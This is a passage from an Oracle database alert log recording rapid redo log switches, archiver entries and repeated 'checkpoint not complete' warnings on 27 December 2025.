/u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:19.322365+08:00 ARC3 (PID:1871): Archived Log entry 2409 added for T-1.S-2413 ID 0x75f9c04b LAD:1 2025-12-27T23:15:19.364759+08:00 Thread 1 cannot allocate new log, sequence 2415 Checkpoint not complete Current log# 3 seq# 2414 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:22.388715+08:00 Thread 1 advanced to log sequence 2415 (LGWR switch) Current log# 1 seq# 2415 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:22.435068+08:00 ARC0 (PID:1861): Archived Log entry 2410 added for T-1.S-2414 ID 0x75f9c04b LAD:1 2025-12-27T23:15:22.482008+08:00 Thread 1 cannot allocate new log, sequence 2416 Checkpoint not complete Current log# 1 seq# 2415 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:25.511246+08:00 Thread 1 advanced to log sequence 2416 (LGWR switch) Current log# 2 seq# 2416 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:25.537859+08:00 ARC1 (PID:1867): Archived Log entry 2411 added for T-1.S-2415 ID 0x75f9c04b LAD:1 2025-12-27T23:15:25.586005+08:00 Thread 1 cannot allocate new log, sequence 2417 Checkpoint not complete Current log# 2 seq# 2416 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:28.704063+08:00 Thread 1 advanced to log sequence 2417 (LGWR switch) Current log# 3 seq# 2417 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:28.750477+08:00 ARC2 (PID:1869): Archived Log entry 2412 added for T-1.S-2416 ID 0x75f9c04b LAD:1 2025-12-27T23:15:28.792292+08:00 Thread 1 cannot allocate new log, sequence 2418 Checkpoint not complete Current log# 3 seq# 2417 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:31.859886+08:00 Thread 1 advanced to log sequence 2418 (LGWR switch) Current log# 1 seq# 2418 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:31.902657+08:00 ARC3 (PID:1871): Archived Log entry 2413 added for T-1.S-2417 ID 0x75f9c04b LAD:1 2025-12-27T23:15:31.969267+08:00 Thread 1 cannot allocate new log, sequence 2419 Checkpoint not complete Current log# 1 seq# 2418 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:34.991864+08:00 Thread 1 advanced to log sequence 2419 (LGWR switch) Current log# 2 seq# 2419 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:35.041469+08:00 ARC0 (PID:1861): Archived Log entry 2414 added for T-1.S-2418 ID 0x75f9c04b LAD:1 2025-12-27T23:15:35.083082+08:00 Thread 1 cannot allocate new log, sequence 2420 Checkpoint not complete Current log# 2 seq# 2419 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:38.163239+08:00 Thread 1 advanced to log sequence 2420 (LGWR switch) Current log# 3 seq# 2420 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:38.207730+08:00 ARC1 (PID:1867): Archived Log entry 2415 added for T-1.S-2419 ID 0x75f9c04b LAD:1 2025-12-27T23:15:38.257512+08:00 Thread 1 cannot allocate new log, sequence 2421 Checkpoint not complete Current log# 3 seq# 2420 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:41.350039+08:00 Thread 1 advanced to log sequence 2421 (LGWR switch) Current log# 1 seq# 2421 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:41.390908+08:00 ARC2 (PID:1869): Archived Log entry 2416 added for T-1.S-2420 ID 0x75f9c04b LAD:1 2025-12-27T23:15:41.433796+08:00 Thread 1 cannot allocate new log, sequence 2422 Checkpoint not complete Current log# 1 seq# 2421 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:44.463129+08:00 Thread 1 advanced to log sequence 2422 (LGWR switch) Current log# 2 seq# 2422 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:44.501030+08:00 ARC3 (PID:1871): Archived Log entry 2417 added for T-1.S-2421 ID 0x75f9c04b LAD:1 2025-12-27T23:15:44.547903+08:00 Thread 1 cannot allocate new log, sequence 2423 Checkpoint not complete Current log# 2 seq# 2422 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:47.578137+08:00 Thread 1 advanced to log sequence 2423 (LGWR switch) Current log# 3 seq# 2423 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:47.618802+08:00 ARC0 (PID:1861): Archived Log entry 2418 added for T-1.S-2422 ID 0x75f9c04b LAD:1 2025-12-27T23:15:47.663512+08:00 Thread 1 cannot allocate new log, sequence 2424 Checkpoint not complete Current log# 3 seq# 2423 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:50.684248+08:00 Thread 1 advanced to log sequence 2424 (LGWR switch) Current log# 1 seq# 2424 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:50.726322+08:00 ARC1 (PID:1867): Archived Log entry 2419 added for T-1.S-2423 ID 0x75f9c04b LAD:1 2025-12-27T23:15:50.764435+08:00 Thread 1 cannot allocate new log, sequence 2425 Checkpoint not complete Current log# 1 seq# 2424 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:53.846413+08:00 Thread 1 advanced to log sequence 2425 (LGWR switch) Current log# 2 seq# 2425 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:53.896000+08:00 ARC2 (PID:1869): Archived Log entry 2420 added for T-1.S-2424 ID 0x75f9c04b LAD:1 2025-12-27T23:15:53.938231+08:00 Thread 1 cannot allocate new log, sequence 2426 Checkpoint not complete Current log# 2 seq# 2425 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:56.994614+08:00 Thread 1 advanced to log sequence 2426 (LGWR switch) Current log# 3 seq# 2426 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:57.032734+08:00 ARC3 (PID:1871): Archived Log entry 2421 added for T-1.S-2425 ID 0x75f9c04b LAD:1 2025-12-27T23:15:57.072420+08:00 Thread 1 cannot allocate new log, sequence 2427 Checkpoint not complete Current log# 3 seq# 2426 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:00.120385+08:00 Thread 1 advanced to log sequence 2427 (LGWR switch) Current log# 1 seq# 2427 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:00.165651+08:00 ARC0 (PID:1861): Archived Log entry 2422 added for T-1.S-2426 ID 0x75f9c04b LAD:1 2025-12-27T23:16:00.208116+08:00 Thread 1 cannot allocate new log, sequence 2428 Checkpoint not complete Current log# 1 seq# 2427 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:03.254687+08:00 Thread 1 advanced to log sequence 2428 (LGWR switch) Current log# 2 seq# 2428 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:03.298113+08:00 ARC1 (PID:1867): Archived Log entry 2423 added for T-1.S-2427 ID 0x75f9c04b LAD:1 2025-12-27T23:16:03.342302+08:00 Thread 1 cannot allocate new log, sequence 2429 Checkpoint not complete Current log# 2 seq# 2428 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:06.409902+08:00 Thread 1 advanced to log sequence 2429 (LGWR switch) Current log# 3 seq# 2429 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:06.456771+08:00 ARC2 (PID:1869): Archived Log entry 2424 added for T-1.S-2428 ID 0x75f9c04b LAD:1 2025-12-27T23:16:06.492649+08:00 Thread 1 cannot allocate new log, sequence 2430 Checkpoint not complete Current log# 3 seq# 2429 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:09.533305+08:00 Thread 1 advanced to log sequence 2430 (LGWR switch) Current log# 1 seq# 2430 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:09.584614+08:00 ARC3 (PID:1871): Archived Log entry 2425 added for T-1.S-2429 ID 0x75f9c04b LAD:1 2025-12-27T23:16:09.626341+08:00 Thread 1 cannot allocate new log, sequence 2431 Checkpoint not complete Current log# 1 seq# 2430 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:12.619482+08:00 Thread 1 advanced to log sequence 2431 (LGWR switch) Current log# 2 seq# 2431 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:12.665042+08:00 ARC0 (PID:1861): Archived Log entry 2426 added for T-1.S-2430 ID 0x75f9c04b LAD:1 2025-12-27T23:16:12.708217+08:00 Thread 1 cannot allocate new log, sequence 2432 Checkpoint not complete Current log# 2 seq# 2431 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:15.703876+08:00 Thread 1 advanced to log sequence 2432 (LGWR switch) Current log# 3 seq# 2432 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:15.756380+08:00 ARC1 (PID:1867): Archived Log entry 2427 added for T-1.S-2431 ID 0x75f9c04b LAD:1 2025-12-27T23:16:15.799268+08:00 Thread 1 cannot allocate new log, sequence 2433 Checkpoint not complete Current log# 3 seq# 2432 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:18.792408+08:00 Thread 1 advanced to log sequence 2433 (LGWR switch) Current log# 1 seq# 2433 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:18.843704+08:00 ARC2 (PID:1869): Archived Log entry 2428 added for T-1.S-2432 ID 0x75f9c04b LAD:1 2025-12-27T23:16:18.885823+08:00 Thread 1 cannot allocate new log, sequence 2434 Checkpoint not complete Current log# 1 seq# 2433 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:21.889625+08:00 Thread 1 advanced to log sequence 2434 (LGWR switch) Current log# 2 seq# 2434 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:21.938851+08:00 ARC3 (PID:1871): Archived Log entry 2429 added for T-1.S-2433 ID 0x75f9c04b LAD:1 2025-12-27T23:16:21.981190+08:00 Thread 1 cannot allocate new log, sequence 2435 Checkpoint not complete Current log# 2 seq# 2434 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:24.941711+08:00 Thread 1 advanced to log sequence 2435 (LGWR switch) Current log# 3 seq# 2435 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:24.970501+08:00 ARC0 (PID:1861): Archived Log entry 2430 added for T-1.S-2434 ID 0x75f9c04b LAD:1 2025-12-27T23:16:25.009720+08:00 Thread 1 cannot allocate new log, sequence 2436 Checkpoint not complete Current log# 3 seq# 2435 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:28.097654+08:00 Thread 1 advanced to log sequence 2436 (LGWR switch) Current log# 1 seq# 2436 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:28.144430+08:00 ARC1 (PID:1867): Archived Log entry 2431 added for T-1.S-2435 ID 0x75f9c04b LAD:1 2025-12-27T23:16:28.185346+08:00 Thread 1 cannot allocate new log, sequence 2437 Checkpoint not complete Current log# 1 seq# 2436 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:31.245670+08:00 Thread 1 advanced to log sequence 2437 (LGWR switch) Current log# 2 seq# 2437 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:31.286091+08:00 ARC2 (PID:1869): Archived Log entry 2432 added for T-1.S-2436 ID 0x75f9c04b LAD:1 2025-12-27T23:16:31.322772+08:00 Thread 1 cannot allocate new log, sequence 2438 Checkpoint not complete Current log# 2 seq# 2437 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:34.400693+08:00 Thread 1 advanced to log sequence 2438 (LGWR switch) Current log# 3 seq# 2438 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:34.448415+08:00 ARC3 (PID:1871): Archived Log entry 2433 added for T-1.S-2437 ID 0x75f9c04b LAD:1 2025-12-27T23:16:34.495344+08:00 Thread 1 cannot allocate new log, sequence 2439 Checkpoint not complete Current log# 3 seq# 2438 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:37.466816+08:00 Thread 1 advanced to log sequence 2439 (LGWR switch) Current log# 1 seq# 2439 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:37.517823+08:00 ARC0 (PID:1861): Archived Log entry 2434 added for T-1.S-2438 ID 0x75f9c04b LAD:1 2025-12-27T23:16:37.559985+08:00 Thread 1 cannot allocate new log, sequence 2440 Checkpoint not complete Current log# 1 seq# 2439 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:40.614825+08:00 Thread 1 advanced to log sequence 2440 (LGWR switch) Current log# 2 seq# 2440 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:40.658592+08:00 ARC1 (PID:1867): Archived Log entry 2435 added for T-1.S-2439 ID 0x75f9c04b LAD:1 2025-12-27T23:16:40.709091+08:00 Thread 1 cannot allocate new log, sequence 2441 Checkpoint not complete Current log# 2 seq# 2440 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:43.628977+08:00 Thread 1 advanced to log sequence 2441 (LGWR switch) Current log# 3 seq# 2441 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:43.688898+08:00 ARC2 (PID:1869): Archived Log entry 2436 added for T-1.S-2440 ID 0x75f9c04b LAD:1 2025-12-27T23:16:43.730239+08:00 Thread 1 cannot allocate new log, sequence 2442 Checkpoint not complete Current log# 3 seq# 2441 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:46.692251+08:00 Thread 1 advanced to log sequence 2442 (LGWR switch) Current log# 1 seq# 2442 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:46.735669+08:00 ARC3 (PID:1871): Archived Log entry 2437 added for T-1.S-2441 ID 0x75f9c04b LAD:1 2025-12-27T23:16:46.773190+08:00 Thread 1 cannot allocate new log, sequence 2443 Checkpoint not complete Current log# 1 seq# 2442 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:49.782425+08:00 Thread 1 advanced to log sequence 2443 (LGWR switch) Current log# 2 seq# 2443 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:49.830653+08:00 ARC0 (PID:1861): Archived Log entry 2438 added for T-1.S-2442 ID 0x75f9c04b LAD:1 2025-12-27T23:16:49.877464+08:00 Thread 1 cannot allocate new log, sequence 2444 Checkpoint not complete Current log# 2 seq# 2443 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:52.849339+08:00 Thread 1 advanced to log sequence 2444 (LGWR switch) Current log# 3 seq# 2444 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:52.895931+08:00 ARC1 (PID:1867): Archived Log entry 2439 added for T-1.S-2443 ID 0x75f9c04b LAD:1 2025-12-27T23:16:52.942025+08:00 Thread 1 cannot allocate new log, sequence 2445 Checkpoint not complete Current log# 3 seq# 2444 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:16:55.952605+08:00 Thread 1 advanced to log sequence 2445 (LGWR switch) Current log# 1 seq# 2445 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:55.998977+08:00 ARC2 (PID:1869): Archived Log entry 2440 added for T-1.S-2444 ID 0x75f9c04b LAD:1 2025-12-27T23:16:56.041864+08:00 Thread 1 cannot allocate new log, sequence 2446 Checkpoint not complete Current log# 1 seq# 2445 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:16:59.086471+08:00 Thread 1 advanced to log sequence 2446 (LGWR switch) Current log# 2 seq# 2446 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:16:59.133139+08:00 ARC3 (PID:1871): Archived Log entry 2441 added for T-1.S-2445 ID 0x75f9c04b LAD:1 2025-12-27T23:16:59.177183+08:00 Thread 1 cannot allocate new log, sequence 2447 Checkpoint not complete Current log# 2 seq# 2446 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:02.265947+08:00 Thread 1 advanced to log sequence 2447 (LGWR switch) Current log# 3 seq# 2447 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:02.312095+08:00 ARC0 (PID:1861): Archived Log entry 2442 added for T-1.S-2446 ID 0x75f9c04b LAD:1 2025-12-27T23:17:02.368909+08:00 Thread 1 cannot allocate new log, sequence 2448 Checkpoint not complete Current log# 3 seq# 2447 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:05.353392+08:00 Thread 1 advanced to log sequence 2448 (LGWR switch) Current log# 1 seq# 2448 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:05.399253+08:00 ARC1 (PID:1867): Archived Log entry 2443 added for T-1.S-2447 ID 0x75f9c04b LAD:1 2025-12-27T23:17:05.438416+08:00 Thread 1 cannot allocate new log, sequence 2449 Checkpoint not complete Current log# 1 seq# 2448 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:08.414127+08:00 Thread 1 advanced to log sequence 2449 (LGWR switch) Current log# 2 seq# 2449 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:08.461376+08:00 ARC2 (PID:1869): Archived Log entry 2444 added for T-1.S-2448 ID 0x75f9c04b LAD:1 2025-12-27T23:17:08.503125+08:00 Thread 1 cannot allocate new log, sequence 2450 Checkpoint not complete Current log# 2 seq# 2449 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:11.573378+08:00 Thread 1 advanced to log sequence 2450 (LGWR switch) Current log# 3 seq# 2450 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:11.619053+08:00 ARC3 (PID:1871): Archived Log entry 2445 added for T-1.S-2449 ID 0x75f9c04b LAD:1 2025-12-27T23:17:11.657988+08:00 Thread 1 cannot allocate new log, sequence 2451 Checkpoint not complete Current log# 3 seq# 2450 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:14.676352+08:00 Thread 1 advanced to log sequence 2451 (LGWR switch) Current log# 1 seq# 2451 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:14.719655+08:00 ARC0 (PID:1861): Archived Log entry 2446 added for T-1.S-2450 ID 0x75f9c04b LAD:1 2025-12-27T23:17:14.760896+08:00 Thread 1 cannot allocate new log, sequence 2452 Checkpoint not complete Current log# 1 seq# 2451 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:17.787159+08:00 Thread 1 advanced to log sequence 2452 (LGWR switch) Current log# 2 seq# 2452 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:17.830788+08:00 ARC1 (PID:1867): Archived Log entry 2447 added for T-1.S-2451 ID 0x75f9c04b LAD:1 2025-12-27T23:17:17.876517+08:00 Thread 1 cannot allocate new log, sequence 2453 Checkpoint not complete Current log# 2 seq# 2452 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:20.885299+08:00 Thread 1 advanced to log sequence 2453 (LGWR switch) Current log# 3 seq# 2453 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:20.931762+08:00 ARC2 (PID:1869): Archived Log entry 2448 added for T-1.S-2452 ID 0x75f9c04b LAD:1 2025-12-27T23:17:20.975542+08:00 Thread 1 cannot allocate new log, sequence 2454 Checkpoint not complete Current log# 3 seq# 2453 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:24.020076+08:00 Thread 1 advanced to log sequence 2454 (LGWR switch) Current log# 1 seq# 2454 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:24.048746+08:00 ARC3 (PID:1871): Archived Log entry 2449 added for T-1.S-2453 ID 0x75f9c04b LAD:1 2025-12-27T23:17:24.098120+08:00 Thread 1 cannot allocate new log, sequence 2455 Checkpoint not complete Current log# 1 seq# 2454 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:27.095128+08:00 Thread 1 advanced to log sequence 2455 (LGWR switch) Current log# 2 seq# 2455 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:27.144460+08:00 ARC0 (PID:1861): Archived Log entry 2450 added for T-1.S-2454 ID 0x75f9c04b LAD:1 2025-12-27T23:17:27.184914+08:00 Thread 1 cannot allocate new log, sequence 2456 Checkpoint not complete Current log# 2 seq# 2455 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:30.181971+08:00 Thread 1 advanced to log sequence 2456 (LGWR switch) Current log# 3 seq# 2456 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:30.228261+08:00 ARC1 (PID:1867): Archived Log entry 2451 added for T-1.S-2455 ID 0x75f9c04b LAD:1 2025-12-27T23:17:30.268139+08:00 Thread 1 cannot allocate new log, sequence 2457 Checkpoint not complete Current log# 3 seq# 2456 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:33.313971+08:00 Thread 1 advanced to log sequence 2457 (LGWR switch) Current log# 1 seq# 2457 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:33.357136+08:00 ARC2 (PID:1869): Archived Log entry 2452 added for T-1.S-2456 ID 0x75f9c04b LAD:1 2025-12-27T23:17:33.398766+08:00 Thread 1 cannot allocate new log, sequence 2458 Checkpoint not complete Current log# 1 seq# 2457 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:36.456223+08:00 Thread 1 advanced to log sequence 2458 (LGWR switch) Current log# 2 seq# 2458 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:36.504905+08:00 ARC3 (PID:1871): Archived Log entry 2453 added for T-1.S-2457 ID 0x75f9c04b LAD:1 2025-12-27T23:17:36.542184+08:00 Thread 1 cannot allocate new log, sequence 2459 Checkpoint not complete Current log# 2 seq# 2458 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:39.534048+08:00 Thread 1 advanced to log sequence 2459 (LGWR switch) Current log# 3 seq# 2459 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:39.580888+08:00 ARC0 (PID:1861): Archived Log entry 2454 added for T-1.S-2458 ID 0x75f9c04b LAD:1 2025-12-27T23:17:39.618024+08:00 Thread 1 cannot allocate new log, sequence 2460 Checkpoint not complete Current log# 3 seq# 2459 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:42.642282+08:00 Thread 1 advanced to log sequence 2460 (LGWR switch) Current log# 1 seq# 2460 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:42.687110+08:00 ARC1 (PID:1867): Archived Log entry 2455 added for T-1.S-2459 ID 0x75f9c04b LAD:1 2025-12-27T23:17:42.728324+08:00 Thread 1 cannot allocate new log, sequence 2461 Checkpoint not complete Current log# 1 seq# 2460 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:45.760187+08:00 Thread 1 advanced to log sequence 2461 (LGWR switch) Current log# 2 seq# 2461 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:45.801617+08:00 ARC2 (PID:1869): Archived Log entry 2456 added for T-1.S-2460 ID 0x75f9c04b LAD:1 2025-12-27T23:17:45.847417+08:00 Thread 1 cannot allocate new log, sequence 2462 Checkpoint not complete Current log# 2 seq# 2461 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:48.861485+08:00 Thread 1 advanced to log sequence 2462 (LGWR switch) Current log# 3 seq# 2462 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:48.905107+08:00 ARC3 (PID:1871): Archived Log entry 2457 added for T-1.S-2461 ID 0x75f9c04b LAD:1 2025-12-27T23:17:48.946618+08:00 Thread 1 cannot allocate new log, sequence 2463 Checkpoint not complete Current log# 3 seq# 2462 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:52.024910+08:00 Thread 1 advanced to log sequence 2463 (LGWR switch) Current log# 1 seq# 2463 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:52.072619+08:00 ARC0 (PID:1861): Archived Log entry 2458 added for T-1.S-2462 ID 0x75f9c04b LAD:1 2025-12-27T23:17:52.110973+08:00 Thread 1 cannot allocate new log, sequence 2464 Checkpoint not complete Current log# 1 seq# 2463 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:17:55.089067+08:00 Thread 1 advanced to log sequence 2464 (LGWR switch) Current log# 2 seq# 2464 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:55.139816+08:00 ARC1 (PID:1867): Archived Log entry 2459 added for T-1.S-2463 ID 0x75f9c04b LAD:1 2025-12-27T23:17:55.181820+08:00 Thread 1 cannot allocate new log, sequence 2465 Checkpoint not complete Current log# 2 seq# 2464 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:17:58.203535+08:00 Thread 1 advanced to log sequence 2465 (LGWR switch) Current log# 3 seq# 2465 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:17:58.252218+08:00 ARC2 (PID:1869): Archived Log entry 2460 added for T-1.S-2464 ID 0x75f9c04b LAD:1 2025-12-27T23:17:58.293584+08:00 Thread 1 cannot allocate new log, sequence 2466 Checkpoint not complete Current log# 3 seq# 2465 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:01.313498+08:00 Thread 1 advanced to log sequence 2466 (LGWR switch) Current log# 1 seq# 2466 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:01.357176+08:00 ARC3 (PID:1871): Archived Log entry 2461 added for T-1.S-2465 ID 0x75f9c04b LAD:1 2025-12-27T23:18:01.399778+08:00 Thread 1 cannot allocate new log, sequence 2467 Checkpoint not complete Current log# 1 seq# 2466 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:04.420986+08:00 Thread 1 advanced to log sequence 2467 (LGWR switch) Current log# 2 seq# 2467 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:04.462753+08:00 ARC0 (PID:1861): Archived Log entry 2462 added for T-1.S-2466 ID 0x75f9c04b LAD:1 2025-12-27T23:18:04.507181+08:00 Thread 1 cannot allocate new log, sequence 2468 Checkpoint not complete Current log# 2 seq# 2467 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:07.510082+08:00 Thread 1 advanced to log sequence 2468 (LGWR switch) Current log# 3 seq# 2468 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:07.563733+08:00 ARC1 (PID:1867): Archived Log entry 2463 added for T-1.S-2467 ID 0x75f9c04b LAD:1 2025-12-27T23:18:07.602470+08:00 Thread 1 cannot allocate new log, sequence 2469 Checkpoint not complete Current log# 3 seq# 2468 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:10.614811+08:00 Thread 1 advanced to log sequence 2469 (LGWR switch) Current log# 1 seq# 2469 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:10.665420+08:00 ARC2 (PID:1869): Archived Log entry 2464 added for T-1.S-2468 ID 0x75f9c04b LAD:1 2025-12-27T23:18:10.695683+08:00 Thread 1 cannot allocate new log, sequence 2470 Checkpoint not complete Current log# 1 seq# 2469 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:13.722694+08:00 Thread 1 advanced to log sequence 2470 (LGWR switch) Current log# 2 seq# 2470 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:13.765456+08:00 ARC3 (PID:1871): Archived Log entry 2465 added for T-1.S-2469 ID 0x75f9c04b LAD:1 2025-12-27T23:18:13.806203+08:00 Thread 1 cannot allocate new log, sequence 2471 Checkpoint not complete Current log# 2 seq# 2470 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:18:16.832049+08:00 Thread 1 advanced to log sequence 2471 (LGWR switch) Current log# 3 seq# 2471 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:16.874376+08:00 ARC0 (PID:1861): Archived Log entry 2466 added for T-1.S-2470 ID 0x75f9c04b LAD:1 2025-12-27T23:18:16.920742+08:00 Thread 1 cannot allocate new log, sequence 2472 Checkpoint not complete Current log# 3 seq# 2471 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:18:19.914603+08:00 Thread 1 advanced to log sequence 2472 (LGWR switch) Current log# 1 seq# 2472 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:19.955899+08:00 ARC1 (PID:1867): Archived Log entry 2467 added for T-1.S-2471 ID 0x75f9c04b LAD:1 2025-12-27T23:18:20.003645+08:00 Thread 1 cannot allocate new log, sequence 2473 Checkpoint not complete Current log# 1 seq# 2472 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:18:22.991779+08:00 Thread 1 advanced to log sequence 2473 (LGWR switch) Current log# 2 seq# 2473 mem# 0: 